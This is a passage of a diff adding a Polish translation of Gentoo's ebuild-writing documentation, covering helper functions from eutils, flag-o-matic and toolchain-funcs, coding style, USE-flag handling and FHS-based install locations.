+    poprzedzone zmienną <c>ROOT</c>, wskazującą podany przez użytkownika
+    katalog instalacji, który niekoniecznie musi być katalogiem <path>/</path>.
+    Funkcja ta wykonywana jest <e>tylko i wyłącznie</e> wtedy, gdy użytkownik
+    wyda polecenie: <c>emerge --config =${PF}</c>.
+  </ti>
+</tr>
+</table>
+
+<p><b>Funkcje pomocnicze</b></p>
+
+<p>
+W naszych skryptach ebuild możemy użyć także następujących funkcji pomocniczych.
+</p>
+
+<table>
+<tr>
+  <th>Funkcja</th>
+  <th>Zastosowanie</th>
+</tr>
+<tr>
+  <ti><c>use</c></ti>
+  <ti>
+    Sprawdza czy zdefiniowane zostały podane flagi USE. Jeśli tak, funkcja
+    zwróci wartość odpowiadającą logicznej prawdzie. Niezależnie od wyniku
+    działania, funkcja nie wypisuje żadnych komunikatów na standardowe
+    wyjście. Aby uzyskać informacje na standardowym wyjściu należy skorzystać z
+    funkcji <c>usev</c>, które wypisze flagę USE, jeśli została ona
+    zdefiniowana.
+  </ti>
+</tr>
+<tr>
+  <ti><c>has_version</c></ti>
+  <ti>
+    Zwraca 1 jeśli w systemie jest żądana wersja danego pakietu. Na przykład
+    <c>has_version >=sys-libs/glibc-2.3.0</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>best_version</c></ti>
+  <ti>
+    Zwraca informację <path>kategoria/pakiet-wersja</path> danego pakietu,
+    podaną w formacie <path>kategoria/pakiet</path>. Na przykład
+    <c>best_version x11-libs/gtk+extra</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_with</c></ti>
+  <ti>
+    Funkcja ta sprawdza czy flaga USE została zdefiniowana i zwraca odpowiednio
+    "--with-foobar" lub "--without-foobar". Jeśli podamy
+    funkcji tylko jeden argument, oznacza to, że jest on zarówno flagą USE, jak
+    i tekstem with/without. Podając zaś dwa, pierwszy z nich jest flagą USE, a
+    drugi tekstem with/without. Na przykład <c>use_with truetype freetype</c>
+    wypisze "--with-freetype", jeśli zmienna <c>USE</c> zawiera truetype.
+  </ti>
+</tr>
+<tr>
+  <ti><c>use_enable</c></ti>
+  <ti>
+    Tak samo jak w przypadku <c>use_with</c>, ale zwraca odpowiednio
+    "--enable-blabla" lub "--disable-blabla".
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_KV</c></ti>
+  <ti>
+    Sprawdza czy Portage zna wersję jądra. Jeśli nie, wypisze komunikat błędu i
+    zakończy działanie niepowodzeniem. Jeśli w naszym skrypcie potrzebujemy
+    wersji jądra, należy użyć zmiennej <c>KV</c>, która jest automatycznie
+    definiowana przez Portage. W systemie działającym na jądrze
+    gentoo-sources-2.4.20-r6, zmienna <c>KV</c> będzie miała wartość "2.4.20".
+  </ti>
+</tr>
+<tr>
+  <ti><c>keepdir</c></ti>
+  <ti>
+    Tworzy (jeśli jest to konieczne) plik <path>.keep</path> w danym katalogu,
+    aby katalog ten nie został automatycznie usunięty. <e>Nigdy</e> nie należy
+    tworzyć pliku <path>.keep</path> ręcznie. Jeśli zasada działania funkcji
+    <c>keepdir</c> zmieni się w Portage, samodzielne tworzenie tego pliku
+    popsuje pakiet.
+  </ti>
+</tr>
+<tr>
+  <ti><c>econf</c></ti>
+  <ti>
+    Wykonuje polecenie <c>./configure</c> z wszelkimi niezbędnymi zmianami
+    w ścieżkach (prefix, host, mandir, infodir, datadir, sysconfdir,
+    localstatedir). Możemy opcjonalnie przekazać dodatkowe argumenty do
+    <c>./configure</c>, przekazując je funkcji <c>econf</c> przy wywołaniu, zaś
+    użytkownicy w razie potrzeby mogą ustawić zmienną środowiskową
+    <c>EXTRA_ECONF</c>. Opcje przekazane skryptowi configure przejmują
+    pierwszeństwo w odwrotnej kolejności niż zostały podane. Innymi słowy,
+    pierwszy przekazany argument zostanie zawsze zastąpiony ostatnim.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einstall</c></ti>
+  <ti>
+    Wykonuje polecenie <c>make install</c> z wszystkimi niezbędnymi zmianami w
+    ścieżkach (prefix, datadir, mandir, infodir, datadir, sysconfdir,
+    localstatedir). Jak wyżej, można przekazać dodatkowe argumenty do komendy
+    make, przekazując je funkcji <c>einstall</c> przy jej wywołaniu. Zauważmy
+    jednak, że preferowanym sposobem zainstalowania pakietu jest wywołanie
+    komendy <c>emake install DESTDIR=${D}</c>, a nie za pomocą <c>einstall</c>.
+    Komenda ta używana jest tylko zastępczo w przypadku popsutych plików make.
+  </ti>
+</tr>
+<tr>
+  <ti><c>die</c></ti>
+  <ti>
+    Powoduje przerwanie aktualnego procesu. Poinformuje użytkownika o przyczynie
+    problemu, wypisując podane argumenty. Przekazanie argumentów funkcji
+    <c>die</c> jest wysoce wskazane, jeśli mamy więcej niż jedno jej wywołanie w
+    danej funkcji. O wiele trudniej jest wyśledzić problemy, jeśli nie wiemy
+    <e>gdzie</e> problem wystąpił.
+  </ti>
+</tr>
+<tr>
+  <ti><c>elog</c></ti>
+  <ti>
+    Przekazuje użytkownikowi istotne informacje. Argument przekazany funkcji
+    <c>elog</c> będzie komunikatem, który zobaczy użytkownik. Nie należy używać
+    tej funkcji do wypisywania nagłówków w rodzaju
+    "*************************************". Sam fakt, że została użyta funkcja
+    <c>einfo</c> wystarczy, aby przyciągnąć uwagę użytkownika. Dodatkowo
+    komunikat jest zapisywany przy użyciu systemu ELOG maszyny Portage.
+  </ti>
+</tr>
+<tr>
+  <ti><c>einfo</c></ti>
+  <ti>
+    Wyświetla mało istotne komunikaty informacyjne, które nie muszą być
+    rejestrowane.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funkcje pomocnicze dostarczone przez eutils.eclass</b>
+</p>
+
+<p>
+Możemy użyć następujących funkcji pomocniczych, które są dostępne w naszych
+ebuildach poprzez eclass "eutils". Należy upewnić się, że użyliśmy instrukcji
+<c>inherit eutils</c>, inaczej funkcje te nie będą działać.
+</p>
+
+<table>
+<tr>
+  <th>Funkcja</th>
+  <th>Zastosowanie</th>
+</tr>
+<tr>
+  <ti><c>epatch</c></ti>
+  <ti>
+    Funkcja ta jest bardziej przyjazną wersją polecenia <c>patch</c>. Działa ona
+    nie tylko z łatkami w plikach tekstowych, ale też w plikach typu .bz2, .gz
+    i .zip. Nie trzeba podawać opcji "-p", zaś opcje, które należy podać powinny
+    być ustawione w zmiennej <c>EPATCH_OPTS</c>. Funkcja oczekuje pliku lub
+    katalogu jako argumentu. Jeśli podamy katalog, wszystkie łatki w postaci
+    "??${ARCH}_..." zostaną nałożone. Aby poprawka mogła być nałożona, musi
+    pasować do naszej architektury, mieć napis "_all_" w nazwie pliku, lub
+    zmienna <c>EPATCH_FORCE</c> musi być ustawiona na "yes".
+  </ti>
+</tr>
+<tr>
+  <ti><c>gen_usr_ldscript</c></ti>
+  <ti>
+    Funkcja ta tworzy w katalogu /usr/lib skrypty linkera dla dynamicznych
+    bibliotek z katalogu /lib. Naprawia to problemy z linkowaniem gdy plik .so
+    znajduje się w katalogu /lib, podczas gdy plik .a znajduje się w katalogu
+    /usr/lib.
+  </ti>
+</tr>
+<tr>
+  <ti><c>edos2unix</c></ti>
+  <ti>
+    Funkcja ta robi dokładnie to samo co program <c>dos2unix</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>egetent</c></ti>
+  <ti>
+    Funkcja egetent pełni rolę interfejsu dla <c>getnet</c> pod Linuksem lub
+    dla <c>nidump</c> pod Mac OS X (R).
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewuser</c></ti>
+  <ti>
+    Tworzy nowego użytkownika. Funkcja oczekuje wymaganego parametru z nazwą
+    użytkownika i szeregu opcjonalnych argumentów: <c>$2</c> zawiera UID, zaś
+    gdy przekażemy -1 użyty zostanie następny dostępny; <c>$3</c> zawiera
+    powłokę systemową (-1 to wartość domyślna), domyślnie będzie to
+    <path>/bin/false</path>; <c>$4</c> to katalog domowy, domyślnie
+    <path>/dev/null</path>, <c>$5</c> zawiera grupy, do których użytkownik
+    powinien zostać dodany (domyślnie żadne), zaś <c>$6</c> może zawierać różne
+    dodatkowe opcje jakie chce się przekazać do <c>useradd</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>enewgroup</c></ti>
+  <ti>
+    Dodaje nową grupę. Funkcja oczekuje wymaganego parametru z nazwą grupy -
+    opcjonalny drugi argument to konkretny GID.
+  </ti>
+</tr>
+<tr>
+  <ti><c>make_desktop_entry</c></ti>
+  <ti>
+    Tworzy wpis desktop wg standardu freedesktop.org. Pierwszy argument zawiera
+    ścieżkę do pliku binarnego z programem. Dodatkowo drugi zawiera nazwę pliku
+    ikony - domyślna wartość to <c>${PN}</c>. Trzeci może zawierać ścieżkę do
+    pliku ikony - względną do ścieżki <path>/usr/share/pixmaps</path> lub pełną
+    ścieżkę. Wartość domyślna to <c>${PN}</c>.png; czwarty może zawierać <uri
+    link="http://standards.freedesktop.org/menu-spec/latest/apa.html">kategorię
+    aplikacji</uri>, zaś piąty argument zawiera opcjonalną ścieżkę początkową
+    dla aplikacji.
+  </ti>
+</tr>
+<tr>
+  <ti><c>check_license</c></ti>
+  <ti>
+    Wyświetla licencję aby użytkownik mógł ją przeczytać i zaakceptować. Jeśli
+    nie podano argumentów, użyta zostanie licencja określona przez zmienną
+    <c>${LICENSE}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_pdv</c></ti>
+  <ti>
+    Rozpakowuje archiwum wygenerowane przez pdv, przy czym pierwszy argument
+    musi zawierać nazwę pliku archiwum, drugi zaś wartość "off_t", którą należy
+    wygenerować ręcznie: <c>strace -elseek ${plik}</c>, zaś dla przykładowego
+    wywołania takiego jak to: "lseek(3, -4, SEEK_END)"  przekazalibyśmy wartość
+    "4".
+  </ti>
+</tr>
+<tr>
+  <ti><c>unpack_makeself</c></ti>
+  <ti>
+    Rozpakowuje archiwum wygenerowane przez makeself, wymaga nazwy pliku do
+    rozpakowania jako argumentu.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_get_cds</c></ti>
+  <ti>
+    Prosi użytkownika o włożenie płyty CD do czytnika. Rozpoznaje czy płyta jest
+    właściwa sprawdzając, czy znajduje się na niej plik o nazwie podanej jako
+    argument funkcji. Użytkownik będzie kolejno proszony o włożenie tylu płyt,
+    ile podamy argumentów. Miejsce zamontowania płyty zostanie ustawione w
+    zmiennej <c>${CDROM_ROOT}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>cdrom_load_next_cd</c></ti>
+  <ti>
+    Ładuje następną płytę CD gdy już skończyliśmy z poprzednią. Jeśli funkcja
+    zwróci wartość, zmienna <c>${CDROM_ROOT}</c> wskaże następną płytę CD.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-linguas</c></ti>
+  <ti>
+    Zadaniem tej funkcji jest upewnienie się, że zmienna LINGUAS zawiera tylko
+    obsługiwane przez pakiet języki, podawane jako argumenty dla funkcji. Jeśli
+    pierwszym argumentem jest -i, tworzona jest lista plików .po w określonych
+    katalogach i użyta jest część wspólna list. Jeśli zaś pierwszym
+    argumentem jest -u, tworzona jest lista plików .po w określonych katalogach
+    i użyta jest suma list.
+  </ti>
+</tr>
+</table>
+
+<p>
+<b>Funkcje pomocnicze dostarczone przez flag-o-matic.eclass</b>
+</p>
+
+<p>
+Możemy użyć następujących funkcji pomocniczych, które są dostępne w naszych
+ebuildach poprzez eclass "flag-o-matic". Należy upewnić się, że użyliśmy
+instrukcji <c>inherit flag-o-matic</c>, inaczej funkcje te nie będą działać.
+Nigdy nie należy ręcznie modyfikować ustawień kompilatora, zamiast tego
+powinniśmy użyć funkcji z eclass flag-o-matic do czynności typu odfiltrowanie
+sprawiających kłopoty flag.
+</p>
+
+<table>
+<tr>
+  <th>Funkcja</th>
+  <th>Zastosowanie</th>
+</tr>
+<tr>
+  <ti><c>filter-flags</c></ti>
+  <ti>
+    Funkcja ta usuwa konkretne flagi ze zmiennych <c>C[XX]FLAGS</c> - usuwane
+    są tylko flagi, których nazwy w całości pasują do nazw tych, które chcemy
+    usunąć.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-flags</c></ti>
+  <ti>
+    Funkcja ta dodaje dodatkowe flagi do istniejących zmiennych
+    <c>C[XX]FLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-flags</c></ti>
+  <ti>
+    Zamienia w zmiennych <c>C[XX]FLAGS</c> flagę podaną jako pierwszy argument
+    na flagę podaną jako drugi.
+  </ti>
+</tr>
+<tr>
+  <ti><c>replace-cpu-flags</c></ti>
+  <ti>
+    Tu powinny znajdować się dwa parametry. Pozwala na zamianę wartości
+    mtune/mcpu/mtune na inną. Na przykład replace-cpu-flags 'i686' 'i586'
+    zamieni -mtune/-march/-mcpu=i686 na -mtune/-march/-mcpu=i586).
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-flags</c></ti>
+  <ti>
+    Usuwa wszystkie flagi z wyjątkiem tych podanych w zmiennej
+    <c>ALLOWED_FLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>strip-unsupported-flags</c></ti>
+  <ti>
+    Usuwa ze zmiennych <c>C[XX]FLAGS</c> wszystkie flagi, których nie obsługuje
+    aktualnie działająca wersja kompilatora GCC.
+  </ti>
+</tr>
+<tr>
+  <ti><c>get-flag</c></ti>
+  <ti>
+    Znajduje flagę i wypisuje jej wartość.
+  </ti>
+</tr>
+<tr>
+  <ti><c>is-flag</c></ti>
+  <ti>
+    Funkcja ta zwraca wartość true jeśli dana flaga jest aktualnie ustawiona w
+    zmiennych <c>C[XX]FLAGS</c>; nazwy flag muszą się zgadzać w całości, aby
+    zostały dopasowane.
+  </ti>
+</tr>
+<tr>
+  <ti><c>append-ldflags</c></ti>
+  <ti>
+    Funkcja ta dodaje dodatkowe flagi do istniejącej zmiennej <c>LDFLAGS</c>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>filter-ldflags</c></ti>
+  <ti>
+    Usuwa podane flagi ze zmiennej <c>LDFLAGS</c>, przy czym nazwy flag muszą
+    się zgadzać w całości, aby zostały dopasowane.
+  </ti>
+</tr>
+<tr>
+  <ti><c>fstack-flags</c></ti>
+  <ti>
+    Dodaje flagę -fno-stack-protector, która znosi flagi -fstack-protector i
+    -fstack-protector-all.
+  </ti>
+</tr>
+</table>
+
+<p><b>Funkcje pomocnicze dostępne w toolchain-funcs.eclass</b></p>
+
+<p>
+Możemy użyć następujących funkcji pomocniczych, które są dostępne w naszych
+ebuildach poprzez eclass "toolchain-funcs". Należy upewnić się, że użyliśmy
+instrukcji <c>inherit toolchain-funcs</c>, inaczej funkcje te nie będą działać.
+Nigdy nie należy ręcznie modyfikować ustawień kompilatora lub binutils, zamiast
+tego powinniśmy użyć funkcji z eclass flag-o-matic do określenia kompilatorów i
+binutils.
+</p>
+
+<p>
+Poniższe funkcje stosuje się, aby wspierać kompilację skrośną i kompilator icc.
+Powinny być one używane gdy pakiet wprost używa gcc, g++, ld, ranlib lub
+jakichkolwiek poniższych narzędzi. Na ogół pakiety, które używają narzędzi do
+autokonfiguracji wykrywają kompilację skrośną automatycznie i nie potrzebują
+poniższych funkcji.
+</p>
+
+<table>
+<tr>
+  <th>Funkcja</th>
+  <th>Zastosowanie</th>
+</tr>
+<tr>
+  <ti><c>tc-getAR</c></ti>
+  <ti>Zwraca nazwę archiwizatora.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getAS</c></ti>
+  <ti>Zwraca nazwę asemblera.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getCC</c></ti>
+  <ti>Zwraca nazwę kompilatora C.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getCXX</c></ti>
+  <ti>Zwraca nazwę kompilatora C++.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getLD</c></ti>
+  <ti>Zwraca nazwę linkera.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getNM</c></ti>
+  <ti>Zwraca nazwę narzędzia do inspekcji symboli/obiektów.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getRANLIB</c></ti>
+  <ti>Zwraca nazwę programu indeksującego archiwa</ti>
+</tr>
+<tr>
+  <ti><c>tc-getF77</c></ti>
+  <ti>Zwraca nazwę kompilatora fortrana.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getLD</c></ti>
+  <ti>Zwraca nazwę linkera</ti>
+</tr>
+<tr>
+  <ti><c>tc-getLD</c></ti>
+  <ti>Zwraca nazwę linkera.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getGCJ</c></ti>
+  <ti>Zwraca nazwę kompilatora javy.</ti>
+</tr>
+<tr>
+  <ti><c>tc-getBUILD_CC</c></ti>
+  <ti>Zwraca nazwę kompilatora C do budowania.</ti>
+</tr>
+<tr>
+  <ti><c>tc-is-cross-compiler</c></ti>
+  <ti>Prosty sposób na sprawdzenie czy używamy kompilatora skrośnego.</ti>
+</tr>
+<tr>
+  <ti><c>gcc-fullversion</c></ti>
+  <ti>Zwraca wersję tak samo jak polecenie $($CC -dumpversion)</ti>
+</tr>
+<tr>
+  <ti><c>gcc-version</c></ti>
+  <ti>Zwraca tylko postać &lt;major>.&lt;minor> wersji.</ti>
+</tr>
+<tr>
+  <ti><c>gcc-major-version</c></ti>
+  <ti>Zwraca część Major wersji.</ti>
+</tr>
+<tr>
+  <ti><c>gcc-minor-version</c></ti>
+  <ti>Zwraca część Minor wersji.</ti>
+</tr>
+<tr>
+  <ti><c>gcc-micro-version</c></ti>
+  <ti>Zwraca część Micro wersji.</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+<subsection>
+<title>Zasady pisania plików ebuild</title>
+<body>
+
+<p>
+Pliki ebuild są tak naprawdę skryptami powłoki, powinniśmy więc przy ich edycji
+używać trybu edycji skryptów powłoki naszego edytora. Należy stosować
+odpowiednie wcięcia, wyłącznie przy pomocy znaków tabulacji -- <e>żadnych
+spacji</e>. Należy się upewnić, że rozmiar tabulacji w naszym edytorze wynosi 4
+spacje. Zawsze powinniśmy stosować nawiasy klamrowe wokół zmiennych
+środowiskowych, czyli <c>${P}</c> zamiast <c>$P</c>.
+</p>
+
+<p>
+Długie linie zawijamy za pomocą znaku ' \':
+</p>
+
+<pre caption="Zawijanie wierszy w plikach ebuild">
+./configure \
+--prefix=/usr || die "configure failed"
+</pre>
+
+<p>
+Więcej szczegółów znajdziemy w pliku <path>skel.ebuild</path> (zwykle znajduje
+się on w katalogu <path>/usr/portage</path>).
+</p>
+
+<p>
+Warto zwrócić uwagę na domyślny plik vimrc w Gentoo jeśli używamy programu Vim
+do edycji plików ebuild/eclass. Znajduje się on w katalogu
+<path>/etc/vim/vimrc</path> i zawiera poprawne ustawienia wcięć i typów plików
+dla plików ebuild i eclass. Jeszcze więcej możliwości, w tym specjalne
+podświetlanie składni w plikach ebuild uzyskamy instalując
+app-vim/gentoo-syntax.
+</p>
+
+<p>
+Na systemach innych niż Gentoo podobne ustawienia zyskamy, dopisując poniższe
+linijki do naszego pliku vimrc, albo jeszcze lepiej, instalując skrypty
+gentoo-syntax, które są dostępne na serwerach lustrzanych Gentoo..
+</p>
+
+<pre caption="Konfiguracja vimrc do edycji plików ebuild">
+au BufRead,BufNewFile *.e{build,class} let is_bash=1|setfiletype sh
+au BufRead,BufNewFile *.e{build,class} set ts=4 sw=4 noexpandtab
+</pre>
+
+<p>
+Użytkownicy edytora Emacs powinni zainstalować pakiet app-emacs/gentoo-syntax
+(dla GNU Emacs) lub app-xemacs/gentoo-syntax (dla XEmacs). Pakiety te zawierają
+pliki konfiguracyjne pomagające Emacsowi prawidłowo zawijać wiersze i
+podświetlać składnię w plikach ebuild.
+</p>
+
+<p>
+Jeśli zaś używamy edytora nano, szczęśliwie oszczędzono nam pracy. Wystarczy
+tylko odkomentować sekcję dotyczącą ebuildów w pliku <path>/etc/nanorc</path>.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Zmienne USE</title>
+<body>
+
+<p>
+Dzięki zmiennym USE możliwe jest skonfigurowanie Portage, aby globalnie i
+automatycznie włączało lub wyłączało pewne <e>opcjonalne, ustawiane przy
+budowaniu</e> funkcje programów. Oto przykład. Załóżmy, że jesteśmy fanami
+środowiska GNOME i chcielibyśmy, aby każdy ebuild, który daje możliwość
+wkompilowania opcjonalnej obsługi tego środowiska zrobił to. W tym przypadku
+należy dodać <c>gnome</c> do zmiennej <c>USE</c> w pliku
+<path>/etc/make.conf</path>, a Portage automatycznie będzie dodawał opcjonalną
+funkcjonalność GNOME do pakietów, jeśli jest ona dostępna. Podobnie, jeśli nie
+chcemy funkcji GNOME w naszych ebuildach, wystarczy upewnić się, że <c>gnome</c>
+nie jest dodane do zmiennej <c>USE</c> w pliku <path>/etc/make.conf</path>.
+System Gentoo Linux ma niemal przytłaczającą ilość opcji USE, dzięki czemu
+możemy skonfigurować go dokładnie tak jak chcemy.
+</p>
+
+<note>
+Jeśli wyłączymy flagę USE (na przykład usuwając <c>gnome</c> ze zmiennej
+<c>USE</c>), poinstruuje to jedynie Portage, aby wyłączyć <e>opcjonalne</e>
+wsparcie dla GNOME w czasie budowania. Jednakże jeśli instalujemy za pomocą
+narzędzia <c>emerge</c> ebuild, który <e>wymaga</e> GNOME, pakiet ten
+oczywiście będzie zawierać obsługę tego środowiska. Oznacza to także, że GNOME
+zostanie automatycznie zainstalowane (jako zależność), jeśli wcześniej nie było
+go w systemie. Właśnie dlatego dobrze jest użyć polecenia <c>emerge
+--pretend</c> zanim uruchomimy "prawdziwy" <c>emerge</c>; w ten
+sposób zawsze będziemy wiedzieć co się zainstaluje.
+</note>
+
+<p>
+W naszych skryptach ebuild możemy sprawdzać czy dana zmienna USE jest ustawiona
+za pomocą polecenia <c>use &lt;zmienna&gt;</c>. Najczęściej użyjemy tego
+polecenia analogicznie jak poniżej:
+</p>
+
+<pre caption="Sprawdzanie czy flaga USE jest ustawiona">
+if use X; then
+  # Komendy specyficzne dla X...
+fi
+</pre>
+
+<p>
+Zmiennych USE można również używać w celu ustawiania zależności. Na przykład
+chcielibyśmy, aby pewien pakiet był wymagany tylko jeśli ustawiona jest pewna
+zmienna USE. Możemy tego dokonać za pomocą składni <c>flaga? ( kategoria/pakiet
+)</c> w zmiennej <c>DEPEND</c> naszego pliku ebuild. W tym przypadku
+<c>kategoria/pakiet</c> będzie wymagana jedynie wtedy, gdy <c>flaga</c> będzie
+obecna w zmiennej <c>USE</c>. Możliwe jest także określenie jaka zależność ma
+zostać użyta jeśli pewna flaga USE <e>jest</e> ustawiona, a jaka ma zostać
+użyta, jeśli <e>nie jest</e> ustawiona: <c>flaga? ( kategoria/pakiet )</c> i
+<c>!flaga? ( innakategoria/innypakiet )</c>. W tym przypadku jeśli <c>flaga</c>
+nie jest ustawiona, użyta zostanie <c>innakategoria/innypakiet</c> zamiast
+<c>kategoria/pakiet</c>. Należy upewnić się, że nasze ebuildy używają powyższej
+składni, a nie instrukcji warunkowych IF powłoki bash. Instrukcje warunkowe
+basha nie współpracują z cache'owaniem zależności przez Portage, więc używanie
+ich popsuje nasz ebuild.
+</p>
+
+<p>
+Oto ważna wskazówka jak używać zmiennej <c>USE</c>. Najczęściej pakiety
+posiadają skrypt <c>./configure</c>, za pomocą którego dokonuje się ich
+konfiguracji. Zwykle jeśli nasz ebuild używa <c>./configure</c>, wszelka
+opcjonalna funkcjonalność zostanie włączona lub wyłączona przy budowaniu przez
+przekazanie odpowiednich parametrów do polecenia <c>./configure</c>. Oto
+najlepszy sposób na obsłużenie tego:
+</p>
+
+<pre caption="Wyrażenia warunkowe oparte na ustawieniach USE">
+DEPEND="X? ( &gt;=x11-base/xfree-4.3 )
+mysql? ( &gt;=dev-db/mysql-3.23.49 )
+apache2? ( &gt;=net-www/apache-2 )
+!apache2? ( =net-www/apache-1* )"
+
+src_compile() {
+  econf \
+    $(use_enable X x11) \
+    $(use_enable mysql) \
+    || die "Error: econf failed!"
+  emake || die "Error: emake failed!"
+}
+</pre>
+
+<p>
+Takie podejście daje dobre wyniki. Nie musimy martwić się jakie są domyślne
+ustawienia mysql albo X (włączone/wyłączone), przekazujemy wprost funkcji
+<c>econf</c> co ma zrobić w oparciu o zmienną <c>USE</c>. Nie wspominając już
+o przejrzystości takiego kodu. :)
+</p>
+
+<p>
+Czasami ebuildy będą posiadały konfliktujące opcjonalne funkcjonalności.
+Sprawdzanie tych konfliktów oraz drukowanie błędu jeśli
+odpowiedź jest twierdząca <e>nie jest</e> dobrym rozwiązaniem. Zamiast tego
+należy faworyzować jedną funkcjonalność przed drugą. W takich wypadkach należy
+zastanowić się, która opcja dostarcza bardziej powrzechną funkcjonalność, lub
+po prostu rzucić monetą.
+Przykładem mogą
+być ebuildy <c>msmtp</c>. Pakiet ten może współpracować z SSL dostarczanym
+przez GnuTLS, z SSL dostarczanym przez OpenSSL lub w ogóle nie posiadać
+wsparcia dla SSL. W związku z tym, że GnuTLS posiada szersze możliwości niż
+OpenSSL jest faworyzowane, a dokonuje się tego w następujący sposób:
+</p>
+
+<pre caption="Uporanie się z konfliktującymi funkcjonalnościami">
+src_compile() {
+     local myconf
+
+     if use gnutls ; then
+         myconf="${myconf} --enable-ssl --with-ssl=gnutls"
+     elif use ssl ; then
+         myconf="${myconf} --enable-ssl --with-ssl=openssl"
+     else
+         myconf="${myconf} --disable-ssl"
+     fi
+
+     econf \
+         # Other stuff
+         ${myconf} \
+         || die "configure failed"
+
+     emake || die "make failed"
+ }
+</pre>
+
+<p>
+Pod <uri link="/dyn/use-index.xml">tym adresem</uri> możemy obejrzeć stale
+uaktualnianą tabelę zmiennych USE.
+</p>
+
+</body>
+</subsection>
+</section>
+<section>
+<title>Położenia w systemie plików</title>
+<subsection>
+<title>Wprowadzenie do FHS</title>
+<body>
+
+<p>
+Standard rozmieszczenia katalogów w systemie plików ściśle odpowiada FHS, czyli
+<e>File system Hierarchy Standard</e> (standard hierarchii systemu plików).
+Uproszczony opis standardu podajemy poniżej; kompletną specyfikację można
+znaleźć pod adresem <uri>http://www.pathname.com/fhs/</uri>.
+</p>
+
+<note>
+Katalog <path>/opt</path> omówiony jest w części 3.12 standardu FHS. Część 4.4
+traktuje o katalogu <path>/usr/X11R6</path>. środowiska KDE i GNOME nie są
+omówione, a dokładniej nie ma o nich nawet wzmianki w aktualnej wersji FHS.
+</note>
+
+</body>
+</subsection>
+<subsection>
+<title>Jak umieszczać pakiety w systemie plików</title>
+<body>
+
+<p>
+Jeśli pakiet używa autoconf i automake, domyślne katalogi docelowe przy
+instalacji zwykle będą poprawne, z kilkoma wyjątkami:
+</p>
+
+<ul>
+  <li>
+    Jeśli instalujemy program w katalogu <path>/bin</path>, <path>/sbin</path>,
+    <path>/usr/bin</path> lub <path>/usr/sbin</path>, dokumentacja man programu
+    powinna zostać zainstalowana w katalogu <path>/usr/share/man</path>. Zwykle
+    można to osiągnąć pisząc w skrypcie ebuild <c>./configure
+    --mandir=/usr/share/man</c>.
+  </li>
+  <li>
+    Pliki dokumentacji GNU info zawsze powinny być instalowane w katalogu
+    <path>/usr/share/info</path>, <e>nawet jeśli dokumentacja należy do
+    programów specyficznych dla X11, GNOME lub KDE</e>. Zwróćmy uwagę: katalog
+    <path>/usr/share/info</path> jest <e>jedynym</e> oficjalnym miejscem na
+    pliki GNU info. Często skrypty <c>./configure</c> domyślnie instalują pliki
+    GNU info w katalogu <c>/usr/info</c>. W tej sytuacji należy przekazać
+    <c>./configure</c> parametr <c>--infodir=/usr/share/info</c>.
+  </li>
+  <li>
+    Pliki dokumentacji są instalowane w katalogu <path>/usr/share/doc</path>,
+    do podkatalogu, na którego nazwę składa się nazwa, wersja i rewizja danego
+    programu. Dotyczy to wszystkich programów: GNOME, KDE, X11 i konsolowych.
+    Niektóre programy jednak mogą dla swoich potrzeb instalować dodatkową
+    dokumentację i pliki pomocnicze w hierarchii <path>/usr/share</path>.
+  </li>
+  <li>
+    Programy i biblioteki specyficzne dla X11 zawsze powinny być instalowane w
+    katalogu <path>/usr</path>, a nie bezpośrednio w <path>/usr/X11R6</path>.
+    Tę hierarchię katalogów rezerwujemy dla <e>samego</e> Systemu X Window w
+    Wersji 11, Wydaniu 6. Jest to być może bardziej dosłowna interpretacja
+    standardu FHS niż w przypadku wielu innych dystrybucji.
+  </li>
+  <li>
+    Podobnie programy GNOME i KDE powinny być zawsze instalowane w katalogu
+    <path>/usr</path>.
+  </li>
+</ul>
+
+<impo>
+Niektóre dystrybucje instalują GNOME i KDE w katalogu <path>/opt</path>. Nie
+istnieje standard, który definiowałby gdzie należy umieszczać pliki tych
+środowisk graficznych. W imię prostoty i spójności zdecydowaliśmy umieszczać
+wszystkie pakiety KDE i GNOME w hierarchii katalogów <path>/usr</path>.
+</impo>
+
+<p>
+Ogólnie nasze ebuildy powinny instalować pliki w katalogu <path>/usr</path>.
+<e>Niektóre</e> programy mogą być kompilowane i linkowane z bibliotekami GNOME,
+KDE oraz X11 lub bez nich, co może powodować zamieszanie. Rozwiązanie, jakie
+proponujemy to instalowanie wszystkiego w katalogu <path>/usr</path>, dzięki
+czemu autorzy skryptów ebuild unikną niejednoznacznych sytuacji i niepotrzebnych
+komplikacji. Miejsce, w którym będziemy instalować pliki programu <e>nie
+mogą</e> zależeć od obecności lub nieobecności jakichś zmiennych <c>USE</c>.
+Dlatego ebuildy w drzewie Portage <e>praktycznie zawsze</e> instalują swoje
+pliki wyłącznie w hierarchii katalogów <path>/usr</path>.
+</p>
+
+<note>
+Katalog <path>/opt</path> jest w systemie Gentoo Linux zarezerwowany dla
+pakietów binarnych, na przykład mozilla-bin, acroread, netscape i realplayer.
+Najczęściej pakiety instalowane w tym katalogu wymagają dodatkowego pliku
+<path>/etc/env.d/coś</path>. Służy on do włączenia ścieżek i dodatkowych
+zmiennych do środowiska. Więcej informacji na temat katalogu
+<path>/etc/env.d</path> można znaleźć w <uri
